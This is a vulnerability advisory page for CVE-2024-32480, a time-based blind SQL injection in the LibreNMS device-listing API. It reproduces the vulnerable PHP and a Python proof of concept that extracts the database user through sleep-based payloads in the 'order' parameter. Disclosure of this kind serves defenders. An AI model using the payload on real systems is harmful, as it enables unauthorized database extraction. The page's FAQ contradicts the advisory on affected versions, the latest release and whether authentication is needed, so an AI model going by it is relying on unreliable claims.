CVE-2024-32480: LibreNMS's Time-Based Blind SQL injection leads to database extraction

Published Apr 22, 2024
·
Updated

Summary Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it's a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details in file apifunctions.php, line 307 for function listdevices

php $order = $request->get('order'); $type = $request->get('type'); $query = $request->get('query'); $param = [];

if (empty($order)) { $order = 'hostname'; }

if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) { $order = 'd.' . $order . ' ASC'; } / ... / $devices = []; $devquery = "SELECT $select FROM devices AS d $join WHERE $sql GROUP BY d.hostname ORDER BY $order"; foreach (dbFetchRows($devquery, $param) as $device) { The "order" parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC For example. this PoC is get current db user python import string import requests

headers = { 'X-Auth-Token': 'tokenstring' } req = requests.Session() payloads = '-@.,' + string.digits + string.asciiletters url = 'http://host/api/v0/devices?order=deviceid and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.deviceid' result = 'user: ' for i in range(10): for payload in payloads: try: req.get(url % (i+1, ord(payload)), headers=headers, timeout=3) except requests.exceptions.ReadTimeout as ex: result += payload print(result), except Exception as e: pass !QQ截图20240306181404

Impact Attacker can extract whole database

Other sources

LibreNMS is an open-source, PHP/MySQL/SNMP-based network monitoring system. Versions prior to 24.4.0 are vulnerable to SQL injection. The order parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability. An attacker may extract a whole database this way. Version 24.4.0 fixes the issue.

MITRE

Affected Software

2 affected componentsFixes available
composer/librenms/librenms<24.4.0
24.4.0
librenms librenms<24.4.0

Event History

Apr 22, 2024
Advisory Published
via GitHub·06:37 PM
CVE Published
via MITRE·10:10 PM
Data Sourced
via MITRE·10:10 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-32480?

CVE-2024-32480 is classified with a moderate severity level due to its potential impact on API security.

2

How do I fix CVE-2024-32480?

To fix CVE-2024-32480, upgrade to version 24.4.0 or later of the LibreNMS package.

3

What software is affected by CVE-2024-32480?

CVE-2024-32480 affects all versions of LibreNMS up to and including 24.4.0.

4

Is CVE-2024-32480 present in the latest version of LibreNMS?

Yes, CVE-2024-32480 is present in the latest version 24.2.0 prior to the fix in version 24.4.0.

5

What problems can CVE-2024-32480 cause?

CVE-2024-32480 can allow unauthorized access to API functions, potentially compromising the integrity of the LibreNMS application.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203